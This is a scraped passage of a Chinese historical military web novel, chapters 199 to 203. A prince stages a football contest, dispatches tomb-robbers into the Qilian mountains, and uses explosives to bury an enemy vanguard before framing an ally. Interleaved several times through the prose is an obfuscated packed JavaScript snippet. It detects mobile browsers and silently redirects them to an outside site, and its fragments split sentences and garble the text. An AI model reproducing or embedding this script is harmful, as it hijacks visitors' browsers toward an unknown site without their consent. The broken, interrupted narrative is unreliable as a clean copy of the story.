陆云川高声道:“以各营为单位,层层筛选,两两对抗,全军皆可参与,哪怕你是一名伙夫,只要脚上功夫厉害; 有比赛便有奖赏,本王在此承诺,自掏三千两白银,五百坛美酒,以及按名次划分的军功, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001705|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为本次比赛奖励; 具体规则如何,编制如何,奖赏如何,稍后本王会出详细公告!” 蹴鞠,既可以强身健体,还可以调动积极性,以趣味性加强团队凝聚力,鼓舞军队的士气,一扫残酷战争所带来的阴霾! 绝对是百利而无一害的全**动! 此话一出, 众将士热情高涨! “那么,本王便期待诸位将士在球场上的表现了!” 陆云川一脚踢飞鞠球,大笑着离开校场。 回到行馆。 陆云川径直奔向书房,想着快点将方案写出来。 岂料门卫却来告知: “王上,姜大夫自打进了后院,到现在都还没出来呢……” “哦?” 陆云川眉头一皱。 从他离开行馆到回到,这都过去快两个时辰了吧? 洗澡也不用洗这么久吧? 陆云川突然想起宋松说,姜采桑为了救治伤兵三天三夜都没合眼…… 我靠,小郎中,你可别给**在浴桶里了! 他赶忙往后院飞奔。 浴室门紧紧关闭着。 陆云川试着敲了敲,唤了一声:“姜大夫?” 无人应答。 “姜采桑?!”加重语气。 还是无人应答。 陆云川顿觉不妙,“咵!”一脚便将浴室门踹开冲了进去。 浴室中水汽未干,空气带着湿润,窗外轻风吹起纱帐,映出个朦胧的身影—— 采桑背靠浴桶,双眼紧闭着,没有任何动静。 陆云川赶忙上前,也顾不得欣赏什么春色,先探了探她的脉搏。 跳得虽然缓慢,但心率还算正常。 又探了探她的鼻息,感了感她的体温,一切都很平顺正常。 应该是太过劳累而陷入深度睡眠。 “呼……” 陆云川长长舒出一口气。 “恩呢……” 姜采桑抽了抽鼻子,嘤咛了一声,却并没醒来。 半挽发髻,几缕青丝被水打湿,贴合在白皙脸庞,许是这些日子吹了风沙,脸庞微微泛黄,却增添了几分野性。 脖颈以下么……一片白雪茫茫。 能将高山裹成平原,这小郎中也是有毅力啊! 第一百九十九章靠山吃山,靠水吃水 并不是她不够诱人,相反她诱惑至极。 陆云川自远征以来,已经有……很久没碰过女人了。 可一想到她因救治伤兵而困得睡不醒,那些趁人之危,一亲芳泽的念头顷刻间便在脑海中烟消云散了。 是他的女人,终究会是他的,何必急于一时? 陆云川用手探了探洗澡水的温度,已经很凉了,再泡下去估计她自己都得生病了。 陆云川将小郎中从浴桶中捧出,脱下外套裹在了她娇躯上,一切动作都很轻很慢,生怕打扰了她的熟睡。 将衣物与她抱回了书房,安置于榻上,随后辗转耳室书房,开始专心撰写“蹴鞠”比赛方案。 渐渐。 蜡炬成灰,天色入夜。 姜采桑眼皮跳动,许是睡饱了,她伸了个懒腰,缓缓睁开了眼睛。 可一感肌肤贴切的外套,朦胧的睡眼瞬间明亮,她分明记得自己在洗热水澡,怎么…… 她猛地从床上坐起,被褥从肩头滑落。被香皂洗涤过的肌肤,光泽透亮宛如美玉。 “吓!” 她急忙扯过被褥遮羞,偏头往烛光处瞧去,只能瞧见耳室中那人的侧脸,在跳动的烛光下棱角分明。 她忽然惊恐,看了眼一丝不挂的身体,隐隐有些颤抖。 “醒了?” 陆云川一声淡淡问候,并未抬眸,也没有偏头,继续专心书写。 姜采桑一时不知该如何应答,咬着嘴唇默不作声。 “你放心,本王没有碰你,不过……看自然是全部看光了的。” 陆云川实话实说。 姜采桑脸颊不禁一红,将被褥拉到了脸上,眼中生出一丝埋怨与疑惑。 想说些骂人的话,可一想到身份悬殊,就全憋回了肚子里。 他若是没碰过自己,那自己是如何到这榻上来的? 沉默, 沉默中,几缕清风拂入屋中。 陆云川自始至终都有抬头往床上看一眼,相比较床榻上的女人,他还是觉得完善蹴鞠方案更重要。 姜采桑蹑手蹑脚下了床,抱起自己的衣服,来到屏风后。 陆云川这才微微抬头,悄悄往那边撇去,烛火映照之下,屏风后的俏丽人影,凹凸有致。 他能眼睁睁看到,她将两座高山,硬生生地给勒成了一片平原。 唉……真是暴殄天物。 片刻过后,姜采桑走出屏风,又恢复了原先那小郎中的模样。 她想直接离开, 可又不符合礼数,想去请辞却又难以启齿。 “对了,方才去医帐忘了问,药物还够用么?” 消除尴尬的办法自然是转移话题,陆云川开口打破沉默。 “已十分紧张了,特别凝血散,只能酌量使用,包扎伤口的纱布也只能浣洗过后重复利用。”姜采桑说道。 陆云川微微皱眉。 药品不同于粮食,不是想征收便能大批量得到,往后还要攻打酒泉与玉户关,药品肯定会很紧缺。 “不过可以去采药。” 姜采桑说道:“张掖北边,便是祁山一脉,水草极为丰盛,眼下又将近四月天,肯定遍地都是草药; 板蓝根,当归,红景天,冬虫夏草,肉苁蓉……甚至往高山上走,运气好的话还能采到雪莲,雪灵芝等极品药材呢!” 好像一说起采药,她就非常来劲儿。 经她这么一说,陆云川眼睛也发光了,自己怎么就没想到呢? “靠山吃山,靠水吃水”。 河西走廊背靠这么一条大山脉,何愁找不到生财的路子? “王上若实在药物紧缺了,我可以帮你——” “谁告诉你军中药物紧缺了?” 陆云川沉声打断了姜采桑的话,“军中各项辎重都很正常,只不过还没转运过来,姜大夫作为军医,只需救治伤兵即可,后勤事务用不着你去操心。” 每一个消息,哪怕是流言,都可能在军中引起哗变。 这也是为何陆云川连夜要将蹴鞠比赛方案写出来的原因,眼下稳定军心比什么都重要。 姜采桑低头不再言语。 “姜大夫想留下来侍寝么?” “吓!” 姜采桑连忙后退了几步,不停摇头。 “那你还留在房间里干嘛?” “下官……告退!” 姜采桑赶忙拘礼,逃似夺门而出。 陆云川低头浅笑了声,又唤: “来人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001706|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “王上有何吩咐?” “将陈世钊叫来。” “是。” 两刻钟后。 陈世钊走进书房。 “世昭,本王有一项重要的任务交给你的掘子军去办。” 陆云川直接开门见山:“明日你带着掘子军团,找当地牧民与药农带路,前往祁山一脉寻找‘资源’; 这资源,包括草药,矿产,皮货,甚至于……古墓。 反正值钱的东西,全给本王薅回来! 但要记住了,不要涉入大山太深,祁山很高,终年积雪,免得迷失方向。” “王上的交代,末将自然遵命,不过……” 陈世钊顿了一下,“古墓也挖啊?” “这个嘛……本王也不是叫你去盗墓,而是去借财……等打了胜仗,日后再还给他们便是了。” 那有什么办法? 没钱打仗了! 非常时期用非常手段! 若能挖到一大批财宝,军费大概就不用愁了。 “看来末将……又要重抄旧业了。”陈世钊苦笑。 陆云川摆了摆手,“先别那么早下定论,古墓不是首要选项,矿产与药材才是源源不断的财富。” “末将定不辜负王上期望!” 陈世钊抱拳告退。 …… 次日。 陆云川将“蹴鞠比赛”公告发遍全军。 很快便引起了巨大反响。 各大军营纷纷摩拳擦掌,由主将军官们带头训练选拔。 赵猛说:“咱军团是步兵,天生有地面作战的优势,这蹴鞠头筹非黑家军团莫属!” 秦鸣说:“咱军团是骑兵,虽擅长马战,但平日里铠甲都是六七十斤,身强体壮,你跟我们比技巧,我们便与你们比身体!” 钱无命说:“咱军团虽看起来比较弱势,但咱们射得比任何人都准啊,未必不能争夺冠军!” 就是要这种**味! 军人一定得保持荣誉与血性,相互对抗便是最佳进步方式! 一时间整个张掖城便被“蹴鞠风”所弥漫,那些因残酷血战而导致的压抑气氛,也逐渐被热闹所遮掩。 蹴鞠比赛,何曾不是一计阳谋呢? 第二百章祁山遇狄军 往后的半个月,蹴鞠比赛进行得火热。 陆云川专门在城外沙地上开了八个校场,让各军团挑选出来的蹴鞠队进行对抗。 不仅是军队能参与,张掖城百姓也能前来观看。 原本凉军破城时,战火几乎焚毁了大半个张掖城, 城里的老百姓,对于入驻的凉军,多少都带着恐惧与怨言。 让百姓们参与欣赏蹴鞠比赛,军民关系也能得到不少改善。 每日较场上,人声鼎沸,尘土飞扬。 而远在北方的祁山一脉,却是大雪纷飞,寒风凛冽。 祁山海拔很高,三四千米乃是常态,即便是四月夏季,高山上也是白茫茫一片。 陈世钊亲自带着五十名精锐掘子军,裹着厚厚的兽裘,迎着凛冽风雪,沿山脊往祁山深入。 掘子军发展至今,已有两千多人。 大部分普通士卒,都被安排去挖草药,打兽皮了,只有这五十名精锐专干一件事儿——找古墓。 “陈老大,咱还往里边儿深入啊?这都快横穿山脉了。” 一旁掘子军副将丁舟,搓了搓手掌,哈出来的热气,瞬间凝成冰霜。 “怕什么?我每处都做了记号,只要方向不丢即可!” 陈世钊拔出腰间酒袋“咕噜咕噜”灌了两口烈酒,随手递给丁舟示意让他们也驱驱寒,目视着前方连绵不绝的山脉走势: “这半个月来,我一直都在研究山势走向——你们瞧,眼前这片山川,峡谷与山脊互相呼应,伏脉千里而不断,形如一条巨龙,以我多年的经验来看,此地必有大墓扎根。” “就算有“大家伙”,下去也需要时间啊,这里是雪山,也不能用**搬山卸岭……”丁舟小声嘀咕。 陈世钊何曾不知很难? 掘人坟墓这种事,本身就是损阴德的活计,其实他早就金盆洗手不干了。 但他心里更明白,军队肯定缺钱了,否则王上也不会专门派他来祁山挖草药,找矿产。 相比较于矿产、草药这种资源,古墓里的金银财宝直接便可拿回去用。 只要能解军队燃眉之急,背负骂名又何妨呢?反正他以前便是盗墓出身…… “哒哒哒……” 忽然,一个熟悉的声音隐隐约约响起。 “你们有没有听到什么声音?”陈世钊当即警觉。 “像是马蹄声……” “咋可能哟,这他娘雪域高山上,怎会有马蹄声。” “我只听见我肚子咕咕 叫的声音——” “哒哒哒……” 那声音更加厚重与清晰。 “嘘……都别说话!” 陈世钊眉头紧皱,突然做了一个斩钉截铁的手势。 霎时间,死寂降临。 陈世钊整个人趴在雪地上,耳朵贴着冰冷地面,仔细聆听着—— 错不了,那绝对不是马蹄声,而且绝不止一匹! 声音是从山谷下传来的。 “找个崖口去看看,就在山谷下,都动作小点儿!” 陈世钊赶忙找了个最近的崖口,与掘子军们往地上一趴,探出脑袋往山谷下望去—— 下一幕,让所有掘子军瞳孔骤缩! 山谷之中,前有一百骑兵开路,后面紧跟着不少于三万玄甲步兵,骑马的将领,统一都带着圆顶头盔,腰间配有弯刀, 而军阵中的幡旗,并非中原汉字。 这种旗帜陈世钊曾在龙脊关见过,是北狄王旗! “陈老大,是北狄军队……”丁舟声音都在颤抖。 陈世钊眉头紧皱,却是一声冷笑,“大墓还没找到,却偶遇一条‘大鱼’……” “他们该不会是想……飞渡祁山,奇袭张掖城吧?”丁舟问道。 “不可能。” 陈世钊一口摇头否决,“这半个月我研究过祁山走势,这条山谷的方向不是通往张掖的,反倒是离酒泉东南侧的戈壁很近; 而且他们骑兵只有一百余,步兵却有三万之众,肯定不可能打奇袭战!” 说到这里,陈世钊赶忙从怀中掏出一幅地图与炭笔,结合四周的山势进行快速标注了一番,随后将地图塞给丁舟: “小舟,事关紧急,你带这份地图,抄近道火速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001707|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶回张掖城,务必在三日内将情报传递给王上!” 丁舟自知军情紧急,将地图揣进怀里,郑重点了点头,“陈老大,诸位兄弟,你们也要小心!” 随后起身便沿着山脊往回跑,许是脚步快了些,不慎将一坨积雪踩踏,跌落下了山谷。 “你小子,动作小点儿!” 陈世钊瞪了一眼,做了个“趴下”的手势,所有掘子军赶紧匍匐在雪地中,大气也不敢喘一口。 “哗啦啦……” 积雪从崖口滚落,越滚越大,最后竟变成了一颗簸箕般大的雪球, 雪球不偏不倚,砸在了山谷中军阵前的马蹄边。 “嘶——” 战马被惊得扬蹄长嘶。 “不中用的畜生,一坨积雪便吓 得你失了前蹄,上了战场岂非更孬?” 马背上的壮汉,身披貂皮大氅,穿着鎏金盔甲, 听壮汉怒骂着,跳下马背,拔出腰间弯刀,“噗呲!”一刀便将马头给砍了下来! “这马别浪费,中午刨煮吃了,给本将军换匹马来!” 壮汉大声招呼,声音尽显粗狂。 马前卒当即牵来可一匹烈马,迅速套上马鞍送到壮汉面前。 壮汉甩了甩弯刀的血迹,这才重新翻上马背。 此人便是号称“北狄第一屠夫”的悍将,隆多。 隆多性格暴躁无情,即便是陪伴他多年的坐骑,只要一怒,说杀便杀,说砍便砍! “隆将军,这会儿风雪大了些,积得太厚的话,山上容易塌陷,不如原地休整一番,等雪小了些再前进吧。” 一旁留着山羊胡须,穿着文士袍服的中年人,出声劝道。 “哦?尼玛大人这一路上,都是催促本将军加急行军,这会儿不着急了?” 隆多高声问着,抬手冲军阵后捏了捏拳头,军队停止了前进。 “我这不是为了军队安全考虑嘛,这段山谷终年积雪,稍有声响便可能引发崩塌……呵呵,再说了,驰援酒泉也不急于这一两个时辰。” 不错,这山羊胡中年人,正是前往北狄借兵的尼玛。 第二百零一章 紧急军情 “尼大人,你这条险道不会有什么危险吧?我可是听说那凉王诡计多端啊。 隆多坐在临时搭建的棚户中,手里抱着一坨半熟还带着血迹的马肉,一边大口啃食着,一边观察四周。 久经沙场之人,洞察力是很强的,他总觉山谷附近不太对劲。 尼玛笑着摆了摆手,“大将军不必担心,这条‘伏龙谷’位于祁山腹地,知道它位置的人少之又少,尽管放心通行。 “哦?那你又是如何知道的?隆多眼神狐疑。 “呵呵,我也不瞒着大将军了,尼玛指了指四周的山势笑道: “这条伏龙谷啊,是这祁山中段的一条龙脉,古往今来许多家世显赫的贵族老爷都埋在这附近; 这条山谷道路,原本就是运送棺椁下葬所开出来的,自然极其隐秘了。 “害!真晦气! 隆多一拍大腿,即刻起身,骂道:“竟没想到走了一条**路,你这不是诅咒本将军出师不利么? 尼玛脸色一惊,急忙解释道:“大将军息怒,这地方是天生祥瑞,**下葬于此,可荣登天堂,活人走过此路,将来平步青云啊! “哼,果真? 隆多听了这话,脸色稍稍缓和。 “将军您想啊,左亲王为何不派别人做援羌先锋,而是派您?还不亲王殿下打心底器重您? 来日若打败了凉军,您就是第一功臣,荣华富贵,加官进爵,这难道不是平步青云吗? “哈哈哈…… 隆多叉腰大笑,这马屁拍得可真舒服。 “好!那便加快行军速度,本将军已迫不及待要破凉争功了! …… 山崖口。 陈世钊等掘子军身上已覆盖了厚厚的一层积雪。 “那北狄蛮子在傻笑什么呢? “八成是笑他自己快**吧! “行了,小舟,你速速回去禀告王上,给老子小心点儿,被他娘再踩滑了! “明白! …… 两日后。 张掖城外,人山人海。 蹴鞠比赛来到了决胜日。 最后还是由黑甲军团与虎骑军团争夺冠军。 赛场上挥汗如雨,赛场外呼声鼎沸。 陆云川坐在看台上,一边品着美酒,一边欣赏比赛。 粮草辎重已准备充分,军队士气飞跃提升。 故而陆云川决定,等冠军队伍诞生的那一刻,在军民热情最 高之时,趁热打铁,宣布攻打酒泉! “哒哒哒……” 一匹快马冲进赛场,在看台下还未停足,马背上的丁舟便急忙跳了下来,冲上看台,压低声音禀报: “王上……祁山……紧急军情!” 丁舟声音嘶哑,带着冻伤和极度的疲惫,他两天两夜都未曾合眼,跑**六匹马! 陆云川眉头一皱,知道十万火急,却并未流露太多急躁,而是摆了摆手。 马山等侍卫识趣退下看台,只留丁舟一人。 “讲。” 陆云川声音平淡,却斩钉截铁。 丁舟顾不上喘息,将在祁山中遇到的事情,一字不落讲了出来,最后奉上那张被汗水打湿的羊皮卷地图, “王上,这是陈将军标注的狄军行进位置,您请过目!” 陆云川抓过地图,仅扫了一眼,便起身道:“回行馆,赛后召所有将领来见?” 回到行馆,陆云川抱着地图,开始思考—— 从地图上来看,北狄进军的方向是酒泉; 李天昊附庸北狄多年,如今遭遇惨败,精锐尽失,故而这支突然出现在祁山的北狄军队,目的肯定是援羌国; 而从丁舟描述的情报上分析,借道的北狄军以轻甲步军为主,说明这是一支先锋部队; 先锋部队都有三万,后续的辎重部队,骑兵部队,数量肯定不会少; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001708|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保守估计,此次北狄赴羌的军队至少在八至十万之间; 祁山一脉,常年积雪,路况复杂,北狄的骑兵与辎重肯定无法像先锋部队那般轻装借道; 本次北狄援羌,很可能分作两支部队—— 一支是先锋部队,借道祁山,快速穿越; 另一支是主力部队,带着辎重粮草,走常规大道; 一快一慢,那么两支部队就肯定会存在着“时间差”。 这个“时间差”便是凉军的突破口! 半个时辰后。 众将来到行馆,刚比赛完的赵猛等人,连赛服都未来得及换。 陆云川将狄军借道的消息与众将简述了一遍,事态紧急,不再多废话。 点将! “刘马,你多派出几批斥候,去给本王仔细探查,北狄援军的位置,数量,领兵者,越详细越好!” “王宝,你挑一百名朱雀军爆破手,携千斤**,让丁舟带路,即刻奔赴祁山支援掘子军; 狄军既想借道援羌,那便断桥毁路,让他们进不得半分, 但你要记住,目的不是歼灭,而是困他们于深山!” “其余诸将,立刻整军,两日之后,兵发酒泉!” “末将遵命!” 众将各司其职,依令退下。 “王宝,你留下,我还有交代。”陆云川唤住王宝。 王宝作为从铁门关出来的原始股,自然懂得陆云川心思,主动将房门关上,走到近前,“陆头儿,有何吩咐?” “你去支援祁山时,再多一批羌国甲胄,弯刀,以及羌国特有的箭矢。” 陆云川交代着,又从袖中摸出一支锦囊塞进王宝手中,“待你们爆破成功,围困了三万狄军,你再将这只锦囊打开,其中自有妙计相授—— 此计若成,或可不费一兵一卒,拿下酒泉。” “明白了!” 王宝揣好锦囊,退出书房。 第二百零二章 地动山摇! 当天夜里。 王宝便带着朱雀军精锐与丁舟奔赴祁山 刘马也分出两百多名探子向山北方向进行渗透。 四月十七,陆云川率大部队出张掖,踩着黄沙向酒泉进军。 张掖距酒泉不算远,只有三百余里路,但大漠环境极端,一日行军三十里,至少需要十日才能抵达酒泉。 这个速度已经很慢了,但肯定比北狄主力援军要快。 应该谁都在掐算时间吧? 陆云川在算时间,李天昊在算时间,狄军将领应该也在算时间。 谁算错了,谁就完蛋。 “兵贵神速”这四个字,在此时此刻,体现得淋漓尽致。 …… 四月十九。 祁山“葫芦口”,伏龙谷上方。 两壁陡峭如刀劈斧削,直插云霄。 葫芦口如同其名,入口狭窄,通行不过十数人。 四月祁山分两级,山腰下是乱石岗,山腰上是永久冻土与积雪。 此刻,葫芦口上的一片密林前。 “天王盖地虎?” 丁舟压低声音,冲树林中喊了一句。 过了片刻,才听到幽幽回复了一句: “小鸡炖蘑菇。” 在白顶山时的暗号,也是沿用到了至今。 “是陈老大他们没错。” 丁舟欣喜,招了招手,身后王宝等火器兵才得以安心进入树林。 陈世钊等人也从树林里钻了出来。 “陈老大,你的记号标注得也太不明显了,我差点迷失在深山里了。” 丁舟撇着嘴抱怨。 “早就教过你了,记号不靠谱,要懂得依环境辨别方位!” 陈世钊摇头责备了句,随即问道:“带吃的了么?这几日火不敢生,相拥而眠,差点没冷死。” “诸位兄弟辛苦了,最烈的酒,还有熟羊肉!” 王宝让火器兵们,卸下随身携带的酒肉,分发给陈世钊他们吃喝。 烈酒一口下肚,瞬间感觉新生。 王宝铺开地图,“陈将军,王上有令,命我炸断山路,阻止狄军穿插,你是掘土行家,你说说该在哪儿爆破?” 陈世钊没看地图,用手指往脚下指了指,“我早已提前选好位置—— 就将这葫芦口炸毁,积雪与碎石能将大半个山谷堵死,就算那帮**侥幸活下来,也将寸步难进。” “狄军先锋多久能到?”王宝问道。 “按照他们 的行军速度大概天黑前便能抵达此处。” 王宝看了一眼天色眼下刚过正午离天黑还早埋**足够了。 他收起地图冲身后火器兵打了个手势兵卒们卸下背上用防水布与油纸紧紧包裹的**开始在葫芦口附近分段填埋**。 渐渐。 太阳西斜日照金山百鸟归林。 寒风呼呼吹气温骤降冰点。 “哒哒哒……” 马蹄声在空旷山谷中回荡。 几名探路的斥候在葫芦口附近转悠了两圈随后折返大部队: “大将军前方有一条峡口过了峡口便是开阔地背风极适合扎营!” “好!加快速度以八人为纵队有序穿过峡口!”隆多大声下令。 狄军依令有序排列马匹在前步兵在后排成了几条长龙一步一步踏入陷阱。 当前面骑兵刚到峡谷口时—— “滋滋滋……” 忽然一股“蛇吐信”的声音隐隐从头顶传来。 “那是什么?” 骑兵抬头望去一团硝烟白雾在山谷间十分显眼。 尼玛预感不详他闻过这个味道这是……凉军那威力惊人的火器! “不好——” “轰隆——!” 他的话音未落仿佛整个祁山脉的脊梁被瞬间撕裂! 一声巨爆带着灭世般的狂暴力量狠狠砸在所有人的耳膜上! 隆多和他的大军骇然抬头只见葫芦口上方两侧高耸的雪峰轰然巨震! 肉眼可见的冲击波贴着崖壁猛烈扩散! 是雪崩么? 不! 是灭世天灾! 积蓄了不知多少年的冻土 坚硬的冻土层发出低吼咆哮裂开蛛网般深不见底的缝隙! 积雪冰块巨石冻土形如一条带着毁灭气息的白色巨龙! 以摧枯拉朽的姿态直冲狭窄的葫芦口通道! 地动山摇! “山……山神发怒啦!” 不知是哪个士卒发出的恐怖尖叫! 绝望的气息在狄军中瞬间炸开! 有人试图转身奔逃却一头撞在同伴身上! 有人想贴紧山壁瞬间被崩落的巨石砸成肉酱! 更多的人只能眼睁睁看着那浑浊的死亡洪流吞噬下来! 隆多目眦尽裂这**如麻的屠夫一时间竟不知所措! 你算什么屠夫呢? 你杀的那点儿人,与自然力量相比,狗屁都不是! “将军小心!” 近卫们急忙竖起盾牌,将隆多拽下马,护着他往后面撤退! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001709|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “轰隆隆……” 泥石流瞬间便吞噬了葫芦口,也吞噬了视线所及的所有狄兵! 半刻钟后。 一切戛然而止。 葫芦口通道彻底消失,前后堵塞的冰岩碎石厚度恐有百丈之高! 在冰岩基座边缘,零星散落着一些断臂残肢…… 几匹被卷入边缘的战马尸体,只露出僵硬的一条腿或半个头颅…… 而在冰岩之下,似乎还能听到细微的抓挠声…… 山腰之上,陈世钊等人蹲伏在密林口,看到山谷下的一切,无人不觉得大快人心。 “能死在这块风水宝地之上,也算他们运气好了……” 陈世钊轻哼了声,偏头问王宝,“除了炸塌山口,堵截狄军之外,王上可还有其它指示?” “我倒是差点儿忘了!还有一个锦囊妙计!” 王宝急忙从怀中摸出锦囊,打开后取出一张信条,当看到上面的内容时,恍然大悟:“原来如此……” 他当即冲身后发令:“所有人,换上羌兵装备,咱们待会儿来他娘个以假乱真!” 此刻,山谷之中。 隆多在亲卫的盾护之下,撤退到了山谷腹地,侥幸逃过一劫。 短短才一刻钟不到,便**三四千人,砸伤的狄军更是不计其数。 山谷内哀嚎,哭声四起。 隆多望着眼前的一片狼藉,恐惧,愤怒,却又无可奈何! “大将军,小心呐,很可能有凉军埋伏在山腰之上啊!” 尼玛急忙跑过来提醒。 “凉……军?” 隆多下意识抬头往山腰上望去,果真有几十名身穿甲胄手持弯弓的士卒显出身形。 “谷中的狄军听着,你们死期已至!” “放箭!” “嗖嗖嗖……” 几十支飞箭从山腰射下,箭头直指甲胄最显眼的隆多。 “将军小心!” 近卫举盾挥刀抵挡,但流矢来得太突然,隆多胸口还是不慎中了一箭。 “往山壁下躲!” 近卫护着隆多往山壁下死角躲避,其他狄军士卒也纷纷贴壁而站。 经过方才泥流土崩,山谷中每个人都恐惧到了极点。 “将军,您没事吧?”尼玛上前关心。 “老子有甲胄护体,小小箭矢……岂能杀得了老子!” 隆多忍着痛,将箭矢从胸口拔出,只刺破了表皮,沾了半截血迹。 可是……定睛一瞧! 这箭头的形状,还有箭尾的雁**,怎那么像羌军的装备? 第二百零三章 离间 中原军队的箭矢,往往是扁平箭头,用鸭鹅作箭尾居多。 游牧民族的箭矢,往往是棱尖箭头,用雁**作箭尾居多。 军队中为了能够统计军功,箭尾都会刻下名字或者记号。 隆多将箭尾反过来一瞧,果然刻有一个羌国文字。 这支箭矢,必属于羌! “尼大人,你方才说有凉军埋伏,为何本将军中的却是羌国的箭啊?” 隆多冷声质问。 “这……” 尼玛看着本国箭矢,脑子转了一圈,瞬间明白了这其中的阴谋,他连忙解释:“大将军,这是诬陷呐!” “哼!” 隆多将箭矢折成两半,“拿下!” 两个亲卫当即将尼玛摁倒在地。 “方才我抬头时,第一眼便觉得那伙人穿着打扮不对,眼下想来就是你们羌军的甲胄!” “大将军,冤枉啊,您不能凭借一支箭矢便判定是羌军所为,半山腰那些人绝对是凉军假扮来离间咱们的!” 尼玛哀声解释。 “就算他们是凉军,你不是说这条伏龙谷只有你一个人知道么?那些凉军是怎么找到这儿的!嗯!” “这这这……” “我看分明是你,故意将我大军引入这深山老林,再设计坑杀我军!” 隆多越想越觉得合理,起身便握住腰间弯刀。 “不不不……大将军,你听我解释——” 却不等他解释,头顶山腰上传来喊话: “喂!下面的狄狗听着,羌王已与凉王罢战结盟!若识相便快快投降,否则就在这山谷中活活饿死吧!” 这一句话出口。 隆多杀心已无法挽回! “啊!羌狗卑鄙!” “不——” “噗呲!” 尼玛才刚张开口,脑袋便被砍了下来。 他其实不是坏人,他为了羌国跑断了腿,结果却落了这么个下场。 但也无需替他惋惜,各为其主,各有其命罢了。 隆多挑起尼玛的首级,往山腰上怒抛而去,并回应道:“上面的羌狗听着,亲王大军稍后便到,待攻破玉户关,定将你们羌国屠个鸡犬不留!” 看着被抛上来,血淋漓的尼玛人头,陈世钊与王宝相视一笑,王上这离间计,已经成功了三成。 “王兄弟,今日辛苦你与火器营的兄弟们了,将此人首级带回去交给王上吧,这里由我们看着便是。”陈世钊说道。 “ 行**与肉食你们都留下兄弟们保重!” 王宝抱拳包起尼玛人头与众士卒从山腰隐退。 “丁舟你守前面我守后面都给我盯紧了记得按王上计划行事。”陈世钊招呼道。 “明白!” 掘子军便分作两批就这夜色引入密林。 山谷之中。 见山腰上久久没有动静副将乌波才敢探出头观察了一番又退回去道:“将军山腰上没有火光是不是那群羌军退了?” “蠢货你是羌军你会退么?他们必然暗中埋伏在附近!”隆多骂道。 “那我们该如何是好啊……前后全部堵**没几日便会断水断粮……” 乌波等一众士卒眼神颓废方才那山崩直至现在他们还心有余悸再加上黑夜侵袭遍地残骸…… “慌什么!本将军久经沙场什么绝境没遇到过?” 隆多说道:“从方才他们放箭的数量上来看那伙羌国耗子并不多峡谷这么大他们看得过来么? 山谷前后被堵塞大部队不好行动—— 这样来一批悍不畏死的勇士去攀登绝壁; 谁若能将情报活着带出去日后直接提拔他当将军!” 所谓富贵险中求小兵直接当将军如此重赏之下必然是有勇夫的。 很快军中便挑出了三十名死士。 为了防止自己坠崖喊叫专门用布条封住了嘴。 “上!” 死士开始攀登。 山谷中的黑夜仅靠一点点月光照亮每一步都是在拿命去赌。 很快便有人失足摔下来那就换人继续上! 三十个人爬不上去那就三百个三百个不行那就三千个! 就好比攻城先登一般死到最后踩着尸体都能上去! 如此在付出二十几条人命后 “真他娘好样的!” 隆多拍手叫好可下一刻—— “狄狗想摸黑逃跑!” “射死他们!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 